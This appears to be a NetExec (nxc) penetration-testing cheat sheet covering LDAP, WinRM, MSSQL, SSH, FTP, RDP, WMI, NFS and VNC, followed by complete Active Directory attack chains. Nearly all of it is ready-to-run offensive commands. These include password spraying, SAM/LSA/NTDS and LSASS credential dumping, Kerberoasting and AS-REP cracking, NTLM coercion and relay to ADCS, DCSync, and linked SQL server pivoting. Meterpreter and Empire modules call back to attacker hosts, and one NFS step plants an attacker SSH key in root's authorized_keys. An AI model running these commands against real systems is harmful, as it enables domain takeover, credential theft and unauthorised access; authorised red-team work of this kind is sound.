# Enumeration
nxc ldap <dc-ip> -u user -p pass --users
nxc ldap <dc-ip> -u user -p pass --users --active-users
nxc ldap <dc-ip> -u user -p pass --groups 'Domain Admins'
nxc ldap <dc-ip> -u user -p pass --computers
nxc ldap <dc-ip> -u user -p pass --dc-list
nxc ldap <dc-ip> -u user -p pass --get-sid
nxc ldap <dc-ip> -u user -p pass --admin-count
nxc ldap <dc-ip> -u user -p pass --trusted-for-delegation
nxc ldap <dc-ip> -u user -p pass --password-not-required
nxc ldap <dc-ip> -u user -p pass --find-delegation
nxc ldap <dc-ip> -u user -p pass --pass-pol
# Raw LDAP query
nxc ldap <dc-ip> -u user -p pass --query "(sAMAccountName=administrator)" "sAMAccountName,memberOf"
# GMSA
nxc ldap <dc-ip> -u user -p pass --gmsa
# ADCS ESC8 workflow
nxc ldap <dc-ip> -u user -p pass -M adcs
nxc smb <target> -u user -p pass -M coerce_plus -o LISTENER=<attacker-ip>
# → hand off to ntlmrelayx.py targeting http://<ca>/certsrv/certfnsh.asp
# BloodHound
nxc ldap <dc-ip> -u user -p pass --bloodhound --collection All
nxc ldap <dc-ip> -u user -p pass --bloodhound --collection DCOnly
# LDAP signing check
nxc ldap <dc-ip> -u user -p pass -M ldap-checker
# Trust abuse
nxc ldap <parent-dc> -u user -p pass -M raisechild -o TARGET_DOMAIN=child.parent.local
WinRM (port 5985/5986) is the protocol behind PowerShell Remoting. It provides the cleanest native-PowerShell command execution channel in nxc — no WMI/service-creation side effects. A (Pwn3d!) means the account is in Remote Management Users or local admin.
| Flag |
What it does |
--port PORT [PORT ...] |
WinRM port(s). Format: http-port https-port (space-separated) or single port for both (default: 5985 5986) |
--check-proto |
Protocols to check: http https (space-separated) or single value (default: http https) |
--laps [LAPS] |
Authenticate using the LAPS-managed local admin password |
--http-timeout |
HTTP timeout for WinRM connections (default: 10 seconds) |
-d DOMAIN |
Domain to authenticate to |
--local-auth |
Authenticate against local accounts |
-H, --hash |
NTLM hash for pass-the-hash |
| Flag |
What it does |
--dump-method {powershell,cmd} |
Shell type to use when dumping SAM or LSA (default: cmd) |
--sam |
Dump SAM hashes |
--lsa |
Dump LSA secrets |
--dpapi |
Dump user Credential Manager secrets (DPAPI) — does not require local admin, operates through the user's remoting session context |
| Flag |
What it does |
-x COMMAND |
Execute a CMD command via PowerShell Remoting |
-X PS_COMMAND |
Execute a PowerShell command — full cmdlets, pipelines, and .NET calls work exactly as in an evil-winrm session |
--no-output |
Don't retrieve command output |
--codec |
Set output encoding codec (default: UTF-8) |
| Module |
What it does |
Usage |
| aws-credentials |
Searches the filesystem for AWS credential files |
nxc winrm <target> -u user -p pass -M aws-credentials |
| Module |
What it does |
Usage |
| ntds-dump-raw |
Directly accesses the raw hard drive to copy ntds.dit, SAM, and SYSTEM files from a DC |
nxc winrm <DC> -u user -p pass -M ntds-dump-raw |
# Authentication
nxc winrm <target> -u user -p pass
nxc winrm <target> -u user -H '<NTLM_hash>'
# Test specific ports/protocols
nxc winrm <target> -u user -p pass --port 5985 5986 --check-proto http https
# Password spraying (--no-bruteforce preferred — full handshake per attempt is slow)
nxc winrm <target> -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
# Command execution (full PS syntax — equivalent to evil-winrm)
nxc winrm <target> -u user -p pass -x 'whoami'
nxc winrm <target> -u user -p pass -X 'Get-Process | Sort-Object CPU -Descending | Select -First 10'
# Credential dumping
nxc winrm <target> -u user -p pass --sam
nxc winrm <target> -u user -p pass --lsa
nxc winrm <target> -u user -p pass --dpapi # user DPAPI secrets (no admin required)
nxc winrm <target> -u user -p pass --dump-method powershell --sam # use PS for dump
# NTDS from DC (high priv)
nxc winrm <DC> -u user -p pass -M ntds-dump-raw
# AWS credential hunt
nxc winrm <target> -u user -p pass -M aws-credentials
MSSQL (port 1433) covers authentication, enumeration, and OS-level command execution via xp_cmdshell, plus lateral movement via linked servers. (Pwn3d!) indicates sysadmin-equivalent rights.
| Flag |
What it does |
--port |
MSSQL port (default: 1433) |
--mssql-timeout |
SQL server connection timeout (default: 5) |
-q, --query |
Execute a raw SQL query against the database |
--database [NAME] |
List all databases, or list tables for a specific database NAME |
-d DOMAIN |
Domain name for Windows/domain auth |
--local-auth |
Authenticate using a local Windows account |
| Flag |
What it does |
--sam |
Dump SAM hashes from the target system |
--lsa |
Dump LSA secrets from the target system |
| Flag |
What it does |
-x COMMAND |
Execute a CMD command via xp_cmdshell (requires sysadmin) |
-X PS_COMMAND |
Execute a PowerShell command |
--no-output |
Don't retrieve command output |
--force-ps32 |
Force PowerShell to run in a 32-bit process |
--obfs |
Obfuscate PowerShell (note: Defender will likely trigger on this) |
--amsi-bypass FILE |
File with a custom AMSI bypass |
--clear-obfscripts |
Clear all cached obfuscated scripts |
--no-encode |
Don't base64-encode the PowerShell command |
| Flag |
What it does |
--put-file SRC DEST |
Upload a local file to the remote target (uses OLE Automation — requires sysadmin) |
--get-file SRC DEST |
Download a remote file |
| Flag |
What it does |
--rid-brute [MAX_RID] |
Enumerate users by bruteforcing RIDs |
| Module |
What it does |
Usage |
| enum_impersonate |
Enumerates users that the current login has IMPERSONATE rights over — prerequisite for mssql_priv impersonation chains |
nxc mssql <target> -u user -p pass -M enum_impersonate |
| enum_links |
Enumerates linked SQL Servers and their login configurations — maps the pivot surface |
nxc mssql <target> -u user -p pass -M enum_links |
| enum_logins |
Enumerates all SQL Server logins (SQL auth accounts, domain users, and local accounts) |
nxc mssql <target> -u user -p pass -M enum_logins |
| Module |
What it does |
Usage |
| enable_cmdshell |
Enables or disables xp_cmdshell on the SQL instance — the prerequisite for OS command execution |
nxc mssql <target> -u user -p pass -M enable_cmdshell |
| exec_on_link |
Executes commands on a linked SQL Server using the established trust — lateral movement across SQL instances |
nxc mssql <target> -u user -p pass -M exec_on_link -o SERVER=LINKED_SRV CMD='whoami' |
| link_enable_cmdshell |
Enables or disables xp_cmdshell on a linked SQL Server — so you can then execute OS commands on it |
nxc mssql <target> -u user -p pass -M link_enable_cmdshell -o SERVER=LINKED_SRV |
| link_xpcmd |
Runs xp_cmdshell commands directly on a linked SQL Server — combines link traversal and command execution |
nxc mssql <target> -u user -p pass -M link_xpcmd -o SERVER=LINKED_SRV CMD='whoami' |
| mssql_coerce |
Executes SQL commands to interact with a specified listener for NTLM coercion or data exfiltration — forces SQL Server to authenticate to your host |
nxc mssql <target> -u user -p pass -M mssql_coerce -o LISTENER=<attacker-ip> |
| mssql_priv |
Enumerates and exploits MSSQL privilege escalation paths (impersonation chains via EXECUTE AS, fixed server roles) — can auto-chain to sa-equivalent |
nxc mssql <target> -u user -p pass -M mssql_priv -o ACTION=privesc |
| Module |
What it does |
Usage |
| test_connection |
Pings the host |
nxc mssql <target> -u user -p pass -M test_connection |
| Module |
What it does |
Usage |
| nanodump |
Dumps LSASS using NanoDump (stealthy minidump technique) and parses with pypykatz |
nxc mssql <target> -u user -p pass -M nanodump |
| Module |
What it does |
Usage |
| empire_exec |
Connects to a PowerShell Empire C2 and executes a launcher on the target |
nxc mssql <target> -u user -p pass -M empire_exec -o LISTENER=http://... |
| met_inject |
Downloads a Meterpreter stager and injects it into memory |
nxc mssql <target> -u user -p pass -M met_inject -o LHOST=<ip> LPORT=4444 |
| web_delivery |
Triggers a Metasploit web_delivery payload |
nxc mssql <target> -u user -p pass -M web_delivery -o URL=http://... |
# Authentication
nxc mssql <target> -u sa -p password # SQL auth
nxc mssql <target> -u user -p password -d DOMAIN # Windows/domain auth
nxc mssql <target> -u user -p password --local-auth # local Windows account
# Password spraying
nxc mssql <target> -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
# Raw SQL query
nxc mssql <target> -u user -p pass -q "SELECT name FROM sys.databases"
# List databases / tables
nxc mssql <target> -u user -p pass --database
nxc mssql <target> -u user -p pass --database master
# Enumeration
nxc mssql <target> -u user -p pass -M enum_logins
nxc mssql <target> -u user -p pass -M enum_links
nxc mssql <target> -u user -p pass -M enum_impersonate
nxc mssql <target> -u user -p pass --rid-brute
# Privilege escalation
nxc mssql <target> -u user -p pass -M mssql_priv -o ACTION=privesc
# Enable xp_cmdshell and execute
nxc mssql <target> -u user -p pass -M enable_cmdshell
nxc mssql <target> -u user -p pass -x 'whoami'
# If xp_cmdshell blocked: coerce NTLM auth from SQL
nxc mssql <target> -u user -p pass -M mssql_coerce -o LISTENER=<attacker-ip>
# Linked server pivoting
nxc mssql <target> -u user -p pass -M enum_links
nxc mssql <target> -u user -p pass -M link_enable_cmdshell -o SERVER=LINKED_SRV
nxc mssql <target> -u user -p pass -M link_xpcmd -o SERVER=LINKED_SRV CMD='whoami'
nxc mssql <target> -u user -p pass -M exec_on_link -o SERVER=LINKED_SRV CMD='whoami'
# File operations (requires sysadmin — OLE Automation)
nxc mssql <target> -u user -p pass --put-file local.txt 'C:\\Windows\\Temp\\remote.txt'
nxc mssql <target> -u user -p pass --get-file 'C:\\Windows\\Temp\\remote.txt' local.txt
# Credential dumping
nxc mssql <target> -u user -p pass --sam
nxc mssql <target> -u user -p pass --lsa
nxc mssql <target> -u user -p pass -M nanodump
SSH (port 22) covers credential validation, command execution, and file transfer. Useful for mixed-OS environments — Linux jump boxes, network appliances, ESXi/vCenter, etc.
If the authenticated user is root, nxc explicitly flags this rather than using the generic Pwn3d!.
| Flag |
What it does |
--port |
SSH port (default: 22) |
--key-file |
Authenticate using a private key file. The -p parameter is treated as the key's passphrase. |
--ssh-timeout |
SSH connection timeout (default: 15) |
--sudo-check |
Check user privilege with sudo |
--sudo-check-method |
Method for sudo check: mkfifo (unstable) or sudo-stdin (default) |
--get-output-tries |
Number of retry attempts to get sudo command output (default: 5) |
| Flag |
What it does |
--put-file FILE FILE |
Upload a local file to the remote target (local → remote path) |
--get-file FILE FILE |
Download a remote file (remote → local path) |
| Flag |
What it does |
-x COMMAND |
Execute a command over SSH |
--no-output |
Don't retrieve command output |
--codec |
Set output encoding codec (default: UTF-8) |
| Module |
What it does |
Usage |
| aws-credentials |
Searches the filesystem for AWS credential files (~/.aws/credentials, etc.) |
nxc ssh <target> -u user -p pass -M aws-credentials |
No high-privilege modules currently exist for SSH.
# Authentication
nxc ssh <target> -u user -p password
nxc ssh <target> -u user --key-file id_rsa # key-based auth
nxc ssh <target> -u user --key-file id_rsa -p passphrase # key with passphrase
# Password spraying (use --jitter — fail2ban is common on real targets)
nxc ssh <target> -u users.txt -p passwords.txt --no-bruteforce --continue-on-success --jitter 2-5
# Command execution
nxc ssh <target> -u user -p pass -x 'id'
nxc ssh <target> -u user -p pass -x 'whoami && hostname'
# Sudo privilege check
nxc ssh <target> -u user -p pass --sudo-check
# File operations (SFTP under the hood)
nxc ssh <target> -u user -p pass --get-file /etc/passwd local_passwd.txt
nxc ssh <target> -u user -p pass --put-file local.txt /tmp/remote.txt
# AWS credential hunt
nxc ssh <target> -u user -p pass -M aws-credentials
FTP (port 21) centers on anonymous access discovery, credential validation, and file transfer. Anonymous access remains common on legacy infrastructure, backup servers, and embedded devices.
| Flag |
What it does |
--port |
FTP port (default: 21) |
| Flag |
What it does |
--ls [DIRECTORY] |
List all files (including hidden) in a directory |
--get FILE |
Download a file from the FTP server |
--put LOCAL_FILE REMOTE_FILE |
Upload a local file to the FTP server |
Note: FTP uses --ls, --get, and --put rather than the --get-file/--put-file syntax used by other protocols.
FTP currently has no low or high privilege modules.
# Authentication
nxc ftp <target> -u user -p pass
nxc ftp <target> -u anonymous -p '' # classic anonymous-access check
nxc ftp <target> -u '' -p '' # null credentials
# Password spraying (FTP servers often limit attempts aggressively — use low threads + jitter)
nxc ftp <target> -u users.txt -p passwords.txt --no-bruteforce --jitter 2-5 -t 5
# Directory listing
nxc ftp <target> -u user -p pass --ls
nxc ftp <target> -u user -p pass --ls /pub
# File operations
nxc ftp <target> -u user -p pass --get remote.txt
nxc ftp <target> -u user -p pass --put local.txt remote.txt
FTP write access on a directory also served over HTTP (common on simple HTTP+FTP servers) is a direct web-shell upload path — always check what an FTP-writable directory actually serves.
RDP (port 3389) is primarily used for credential validation and screenshotting at scale — confirming which valid credentials reach a desktop without manually connecting to each host. Command execution is a newer, beta-status feature.
| Flag |
What it does |
--port |
RDP port (default: 3389) |
--rdp-timeout |
RDP socket connection timeout (default: 5) |
--nla-screenshot |
Screenshot the RDP login prompt when NLA is disabled (no credentials needed) |
-d DOMAIN |
Domain to authenticate to |
--local-auth |
Authenticate against local accounts |
-H, --hash |
NTLM hash for pass-the-hash |
| Flag |
What it does |
--screenshot |
Connect and capture a screenshot of the resulting desktop |
--screentime |
Seconds to wait for the desktop to render before capturing (default: 10) |
--res |
Screenshot resolution in WIDTHxHEIGHT format (default: 1024x768) |
| Flag |
What it does |
-x COMMAND |
Execute a CMD command via RDP (beta — disconnects the session afterward) |
-X PS_COMMAND |
Execute a PowerShell command via RDP (beta) |
--cmd-delay |
Sleep time before executing the command (default: 5 seconds) |
--clipboard-delay |
Maximum time to wait for clipboard initialization (default: 30 seconds) |
--no-output |
Don't retrieve command output |
RDP currently has no low or high privilege modules.
# Password spraying
nxc rdp <target> -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
# Pass-the-hash
nxc rdp <target> -u user -H '<NTLM_hash>'
# Screenshot after valid login (NLA required)
nxc rdp <target> -u user -p pass --screenshot
nxc rdp <target> -u user -p pass --screenshot --screentime 15 --res 1920x1080
# Screenshot without credentials (NLA disabled — captures login screen)
nxc rdp <target> --nla-screenshot
# Command execution (beta — session disconnects afterward; be aware of impact)
nxc rdp <target> -u user -p pass -x 'whoami'
nxc rdp <target> -u user -p pass -X 'Get-Process'
Note on command execution: RDP-based execution scripts an interactive session rather than using a dedicated execution channel like WinRM/WMI. Running a command disconnects the session rather than performing a clean logoff — avoid using this if a legitimate user is already connected.
WMI (port 135, DCOM) is exposed as its own standalone protocol — distinct from SMB's --exec-method wmiexec. Useful when SMB is blocked but DCOM/RPC is reachable, or when you want to test/use WMI access in isolation.
| Flag |
What it does |
--port |
WMI port — only valid value is 135 |
--rpc-timeout |
RPC/DCOM connection timeout (default: 2 seconds) |
-d DOMAIN |
Domain to authenticate to |
--local-auth |
Authenticate against local accounts |
-H, --hash |
NTLM hash for pass-the-hash |
| Flag |
What it does |
--list-snapshots [SHARE] |
List VSS snapshots (default share: ADMIN$) |
| Flag |
What it does |
--wmi-query QUERY |
Run a custom WMI query against the target |
--wmi-namespace NAMESPACE |
WMI namespace (default: root\cimv2) |
| Flag |
What it does |
-x COMMAND |
Create a new CMD process and execute the command, returning output |
-X COMMAND |
Create a new PowerShell process and execute the command, returning output |
--exec-method |
Execution method: wmiexec (default) or wmiexec-event (T1546.003 — unstable, single-host only) |
--exec-timeout |
Timeout in seconds when executing a command (minimum 5s recommended; default: 2) |
--no-output |
Don't retrieve command output |
--codec |
Set output encoding codec (default: UTF-8) |
Execution method notes:
| Method |
How it works |
wmiexec (default) |
Uses Win32_Process + StdRegProv — gets command results over the registry instead of SMB |
wmiexec-event (T1546.003) |
Event-based execution — not stable, use on a single host only; may crash on multiple targets |
| Module |
What it does |
Usage |
| ioxidresolver |
Probes DCOM/RPC to discover additional network interfaces on a host — useful for finding hidden subnets |
nxc wmi <target> -u user -p pass -M ioxidresolver |
| spooler |
Detects if the Print Spooler service is enabled — prerequisite for PrinterBug/SpoolSample coercion |
nxc wmi <target> -u user -p pass -M spooler |
| zerologon |
Checks if the DC is vulnerable to Zerologon (CVE-2020-1472) |
nxc wmi <target> -u user -p pass -M zerologon |
| Module |
What it does |
Usage |
| bitlocker |
Checks BitLocker encryption status (enabled/disabled) |
nxc wmi <target> -u user -p pass -M bitlocker |
| enum_dns |
Uses WMI to dump DNS records from an AD DNS server |
nxc wmi <DC> -u user -p pass -M enum_dns |
| get_netconnections |
Uses WMI to query active network connections on the target |
nxc wmi <target> -u user -p pass -M get_netconnections |
| Module |
What it does |
Usage |
| ntds-dump-raw |
Directly accesses the raw hard drive to copy ntds.dit, SAM, and SYSTEM — bypasses VSS/locks |
nxc wmi <DC> -u user -p pass -M ntds-dump-raw |
| Module |
What it does |
Usage |
| rdp |
Enables or disables Remote Desktop Protocol on the target |
nxc wmi <target> -u user -p pass -M rdp -o ACTION=enable |
# Authentication
nxc wmi <target> -u user -p pass
nxc wmi <target> -u user -H '<NTLM_hash>'
# Password spraying
nxc wmi <target> -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
# Custom WMI query
nxc wmi <target> -u user -p pass --wmi-query "SELECT * FROM Win32_Process"
nxc wmi <target> -u user -p pass --wmi-query "SELECT * FROM Win32_Service" --wmi-namespace "root\cimv2"
# Command execution
nxc wmi <target> -u user -p pass -x 'whoami'
nxc wmi <target> -u user -p pass -X 'Get-Process'
nxc wmi <target> -u user -p pass --exec-method wmiexec-event -x 'whoami' # stealthy, single host only
# Enumeration modules
nxc wmi <target> -u user -p pass -M ioxidresolver
nxc wmi <target> -u user -p pass -M spooler
nxc wmi <target> -u user -p pass -M zerologon
nxc wmi <target> -u user -p pass -M bitlocker
nxc wmi <target> -u user -p pass -M enum_dns
nxc wmi <target> -u user -p pass -M get_netconnections
# Enable RDP via WMI
nxc wmi <target> -u user -p pass -M rdp -o ACTION=enable
# List VSS snapshots
nxc wmi <target> -u user -p pass --list-snapshots
# NTDS dump via raw disk access
nxc wmi <DC> -u user -p pass -M ntds-dump-raw
NFS (portmapper on 111, NFS service typically on 2049) covers share enumeration, file transfer, and the no_root_squash root-escape technique when exports are misconfigured.
| Flag |
What it does |
--port |
NFS portmapper port (default: 111) |
--nfs-timeout |
NFS connection timeout (default: 5s) |
| Flag |
What it does |
--shares |
List all NFS exports/shares on the target |
--share SHARE |
Specify a share to target for --ls, --get-file, or --put-file |
--enum-shares [DEPTH] |
Authenticate and enumerate exposed shares recursively (default depth: 3) |
--ls [PATH] |
List files in the specified NFS share (e.g. --ls /) |
| Flag |
What it does |
--get-file FILE FILE |
Download a file from the NFS share (remote → local) |
--put-file FILE FILE |
Upload a file to the NFS share with chmod 777 permissions |
NFS currently has no low or high privilege modules listed — the root-escape and chmod techniques referenced in the wiki are applied via direct flags and manual mounting, not nxc modules.
# Discover exports and check for no_root_squash
nxc nfs <target>
nxc nfs <target> --shares
# Recursive enumeration of all accessible exports
nxc nfs <target> --enum-shares
nxc nfs <target> --enum-shares 5 # deeper recursion
# List files within an export
nxc nfs <target> --share /export/data --ls
nxc nfs <target> --share /export/data --ls /subdir
# File operations
nxc nfs <target> --share /export/data --get-file remote_file local_file
nxc nfs <target> --share /export/data --put-file local_file remote_file
no_root_squash abuse (manual steps after nxc identifies the vulnerable export):
1. nxc nfs <target> --shares
-> find export with no_root_squash flag
2. Mount the export as root on your attacker machine:
mkdir /mnt/nfs && mount -t nfs <target>:/export/data /mnt/nfs
3. Write files as root — they land as root-owned on the target filesystem:
echo 'attacker-pubkey' >> /mnt/nfs/root/.ssh/authorized_keys
4. Result: direct root SSH access to the NFS server
VNC (port 5900+) covers credential validation and screenshotting — mirroring the RDP approach but for the VNC protocol family.
| Port |
Common Association |
| 5900 |
Standard VNC display :0 |
| 5901+ |
Additional displays (:1, :2, ...) |
| 5800 |
Some implementations' web/Java client |
| Flag |
What it does |
--port |
VNC port (default: 5900) |
--vnc-sleep |
Sleep on socket connection to avoid rate limiting (default: 5 seconds) |
| Flag |
What it does |
--screenshot |
Connect and capture a screenshot if the connection succeeds |
--screentime |
Seconds to wait for the desktop image to render before capturing (default: 5) |
VNC currently has no low or high privilege modules.
# Authentication (classic VNC is often password-only — no username concept)
nxc vnc <target> -p password
nxc vnc <target> -u user -p password # some implementations accept a username
# Password spraying
nxc vnc <target> -p passwords.txt --continue-on-success
# Screenshot
nxc vnc <target> -p password --screenshot
nxc vnc <target> -p password --screenshot --screentime 10
# Scan multiple targets — find accessible VNC sessions
nxc vnc 192.168.1.0/24 -p password --screenshot
# 1. Host sweep — no creds needed
nxc smb 10.10.10.0/24
# 2. Test null session against DC
nxc smb 10.10.10.10 -u '' -p ''
nxc smb 10.10.10.10 -u '' -p '' --users
nxc smb 10.10.10.10 -u '' -p '' --rid-brute
# 3. AS-REP roast with username list — no creds needed
nxc ldap 10.10.10.10 -u users.txt -p '' --asreproast asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# 4. Password spray with recovered credentials
nxc smb 10.10.10.0/24 -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
# Kerberoasting branch
nxc ldap 10.10.10.10 -u user -p pass --kerberoasting kerberoast.txt
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
nxc smb 10.10.10.0/24 -u svc_account -p <cracked_password> --local-auth
nxc smb <admin-host> -u svc_account -p <cracked_password> --sam
nxc smb <admin-host> -u svc_account -p <cracked_password> -M lsassy
# Relay branch (if Kerberoasting yields nothing crackable)
nxc smb 10.10.10.0/24 -u user -p pass --gen-relay-list relay.txt
nxc ldap 10.10.10.10 -u user -p pass -M ldap-checker # check if LDAP signing enforced
# If not enforced: use ntlmrelayx.py + coerce_plus
nxc smb <target> -u user -p pass -M coerce_plus -o LISTENER=<attacker-ip>
# 1. Discover ADCS CA and templates
nxc ldap <dc-ip> -u user -p pass -M adcs
# 2. Full template/ACL analysis
certipy find -u user -p pass -dc-ip <dc-ip> -vulnerable
# 3. Start relay listener targeting HTTP enrollment
ntlmrelayx.py -t http://<ca-host>/certsrv/certfnsh.asp --adcs --template DomainController
# 4. Coerce DC authentication to your relay listener
nxc smb <dc-fqdn> -u user -p pass -M coerce_plus -o LISTENER=<attacker-ip>
# 5. Exchange certificate for DC$ NT hash
certipy auth -pfx dc.pfx -dc-ip <dc-ip>
# 6. DCSync — full domain compromise
nxc smb <dc-ip> -u 'DC$' -H <recovered_hash> --ntds
# 1. Find unconstrained delegation targets
nxc ldap <dc> -u user -p pass -M unconstrained-delegation
# 2. Coerce DC to authenticate to the delegation-enabled host
nxc smb <dc-fqdn> -u user -p pass -M coerce_plus -o LISTENER=<delegation-host-fqdn>
# 3. On the delegation-enabled host: monitor for the incoming DC$ TGT
# (Rubeus monitor /interval:5 /nowrap)
# 4. DCSync with the captured DC$ ticket
nxc smb <dc-ip> -k --use-kcache --ntds
# Confirm scope of local admin access
nxc smb 10.10.10.0/24 -u admin_user -p admin_pass
# Against all Pwn3d! hosts:
nxc smb <pwn3d-hosts> -u admin_user -p admin_pass --sam
nxc smb <pwn3d-hosts> -u admin_user -p admin_pass --lsa
nxc smb <pwn3d-hosts> -u admin_user -p admin_pass --dpapi
nxc smb <pwn3d-hosts> -u admin_user -p admin_pass -M lsassy
nxc smb <pwn3d-hosts> -u admin_user -p admin_pass -M keepass_discover
nxc smb <pwn3d-hosts> -u admin_user -p admin_pass -M winscp
nxc smb <pwn3d-hosts> -u admin_user -p admin_pass -M putty
nxc smb <pwn3d-hosts> -u admin_user -p admin_pass -M mremoteng
nxc smb <pwn3d-hosts> -u admin_user -p admin_pass -M rdcman
# Feed recovered credentials back into a fresh spray
nxc smb 10.10.10.0/24 -u recovered_users.txt -p recovered_creds.txt \
--no-bruteforce --continue-on-success
| Flag |
Purpose |
-u / -p |
Username(s) / password(s) |
-H |
NTLM hash (full or NT-only) |
-d |
Domain |
-id |
Use a stored credential ID from the database |
--local-auth |
Authenticate against local SAM, not the domain |
-k / --kdcHost |
Force Kerberos auth / specify KDC |
--use-kcache |
Use KRB5CCNAME ticket instead of a password |
--pfx-cert / --pfx-pass |
PKINIT certificate auth |
--no-bruteforce |
Pair users[N] with passwords[N] 1:1 |
--continue-on-success |
Keep spraying after first hit |
--jitter |
Random delay between connections |
-t |
Thread count (default: 256) |
--gen-relay-list |
Output hosts vulnerable to relay (signing not required) |
-M / -L |
Run a module / list available modules |
--options |
Show a module's parameters |
-o KEY=VALUE |
Pass module parameters |
--bloodhound --collection |
Native BloodHound CE collection |
--ignore-opsec |
Suppress OpSec warnings |
--log |
Write output to a log file |
-x / -X |
Execute via cmd.exe / PowerShell |
--exec-method |
Choose wmiexec / atexec / smbexec |
# SMB
nxc smb <target> -u user -p pass --shares
nxc smb <target> -u user -p pass --sam
nxc smb <dc-ip> -u user -p pass --ntds
nxc smb <target> -u user -p pass -x 'whoami'
# LDAP
nxc ldap <dc-ip> -u user -p pass --users
nxc ldap <dc-ip> -u user -p pass --kerberoasting kh.txt
nxc ldap <dc-ip> -u ~/users.txt -p '' --asreproast asrep.txt
nxc ldap <dc-ip> -u user -p pass --bloodhound --collection All
# WinRM
nxc winrm <target> -u user -p pass -X 'whoami'
# MSSQL
nxc mssql <target> -u sa -p pass -x 'whoami'
nxc mssql <target> -u user -p pass -M mssql_linked -o ACTION=enum
# SSH
nxc ssh <target> -u user -p pass -x 'id'
# FTP
nxc ftp <target> -u anonymous -p ''
# RDP
nxc rdp <target> -u user -p pass --screenshot
# WMI
nxc wmi <target> -u user -p pass -x 'whoami'
# NFS
nxc nfs <target> --shares
nxc nfs <target> --share <export> -M nfs_escape
# VNC
nxc vnc <target> -p pass --screenshot
| Protocol |
Module |
Purpose |
| smb |
lsassy / nanodump |
LSASS credential extraction |
| smb |
backup_operator |
Abuse SeBackupPrivilege to dump SAM/SECURITY |
| smb |
coerce_plus |
PetitPotam / DFSCoerce / ShadowCoerce / PrinterBug in one module |
| smb |
keepass_discover / keepass_trigger |
Locate and exfil KeePass master password |
| smb |
spider_plus |
Enumerate + optionally dump every readable share |
| smb |
laps |
Read LAPS local admin password |
| smb |
wam |
Dump Entra ID / M365 access tokens |
| smb |
veeam |
Extract Veeam backup job credentials |
| smb |
teams_localdb |
Steal Microsoft Teams SSO cookies |
| ldap |
adcs / certipy-find |
ADCS CA/template discovery (ESC triage) |
| ldap |
daclread |
Human-readable DACL/ACE rights on a target object |
| ldap |
pre2k |
Predictable-password legacy computer accounts |
| ldap |
maq |
Machine Account Quota check |
| ldap |
raisechild |
Child-domain-to-forest-root escalation |
| ldap |
ldap-checker |
LDAP signing / channel binding check |
| ldap |
unconstrained-delegation |
Find unconstrained-delegation-enabled hosts |
| mssql |
mssql_linked |
Linked server enumeration and pivot execution |
| mssql |
mssql_priv |
SQL impersonation-based privesc |
| nfs |
nfs_escape |
no_root_squash root filesystem escape |
| Tool |
Role Relative to NetExec |
| Impacket |
Underlying library for exec/secrets-dump; used directly for ntlmrelayx.py, secretsdump.py |
| Certipy |
Deep ADCS template/ACL analysis beyond nxc's adcs triage module |
| BloodyAD |
Direct LDAP writes (ACL abuse follow-through) beyond nxc's read-focused LDAP modules |
| Rubeus |
Ticket manipulation (monitor, ptt, s4u) as follow-on to nxc-discovered delegation paths |
| BloodHound CE |
Graph analysis of the paths nxc --bloodhound collects |
| hashcat |
Offline cracking of nxc-harvested Kerberoast / AS-REP hashes |
Always cross-check against nxc <protocol> --help and nxc <protocol> -L for the current flag and module set on your installed version — nxc is under active development and flags/modules are added regularly.